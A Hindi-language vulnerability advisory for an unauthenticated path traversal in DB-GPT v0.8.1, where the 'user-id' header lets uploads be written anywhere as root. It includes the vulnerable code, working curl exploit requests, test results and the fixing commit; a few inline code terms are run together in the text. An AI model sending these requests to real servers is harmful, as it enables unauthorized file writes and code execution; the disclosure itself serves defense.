
CVE-2026-73034 — DB-GPT v0.8.1 अनधिकृत पाथ ट्रैवर्सल → user-id हेडर के माध्यम से रूट के रूप में मनमाना फ़ाइल लेखन। सत्यापित + फिक्स डिफ़
CVSS 9.8 (गंभीर) · CWE-22 · GHSA/Issue #3104
DB-GPT v0.8.1 में POST /api/v1/python/file/upload user-id HTTP हेडर लेता है और उसे
सीधे पथ घटक के रूप में उपयोग करता है:
upload_dir = os.path.join(base_dir, "python_uploads", user_id)
os.makedirs(upload_dir, exist_ok=True)
open(file_path, "wb")
कोई प्रमाणीकरण नहीं है — यदि हेडर अनुपस्थित है, तो ऐप role="admin" के साथ user_id="001" पर वापस चला जाता है। user-id में ../ अनुक्रम इंजेक्ट करने से अपलोड्स रूट से बाहर निकल जाता है और को कंटेनर प्रक्रिया (रूट) जहाँ भी लिख सकती है की अनुमति देता है → सीधा RCE पथ (वेबरूट , क्रॉन जॉब्स, , …)।
.pyauthorized_keysप्रभावित: DB-GPT ≤ v0.8.1
सुधारित: v0.8.2+ — कमिट e0c741bd2b5e521b128cffb3f68982dde3f7b359 (एक _SAFE_USER_ID_RE व्हाइटलिस्ट ^[A-Za-z0-9_\-]+$, अपलोड-निर्देशिका कंटेनमेंट जाँच, और एक TOCTOU सिमलिंक पुनः-जाँच जोड़ता है)।
# write pwned.txt into /tmp/pwned/ on the server (as root)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../tmp/pwned" \
-F "[email protected];filename=pwned.txt"
# write into /root/ (arbitrary location)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../root" \
-F "[email protected];filename=pwned_root.txt"
नोट: FastAPI user_id पैरामीटर को user-id HTTP हेडर (हाइफ़न, अंडरस्कोर नहीं) से मैप करता है।
| परीक्षण | परिणाम |
|---|---|
नियंत्रण अपलोड (user-id: alice) | ✅ /app/python_uploads/alice/control.txt |
एक्सप्लॉइट user-id: ../../../../tmp/pwned | ✅ /tmp/pwned/pwned.txt लिखी गई (रूट) |
एक्सप्लॉइट user-id: ../../../../root | ✅ /root/pwned_root.txt लिखी गई |
| सुधारित बिल्ड (e0c741bd) | ✅ HTTP 400 Invalid user_id: only alphanumeric characters, underscores and hyphens are allowed |
पूर्ण स्क्रिप्ट: poc_cve-2026-73034.sh (दोनों एक्सप्लॉइट + कंटेनर-भीतर सत्यापन + सुधारित-बिल्ड तुलना चलाती है)।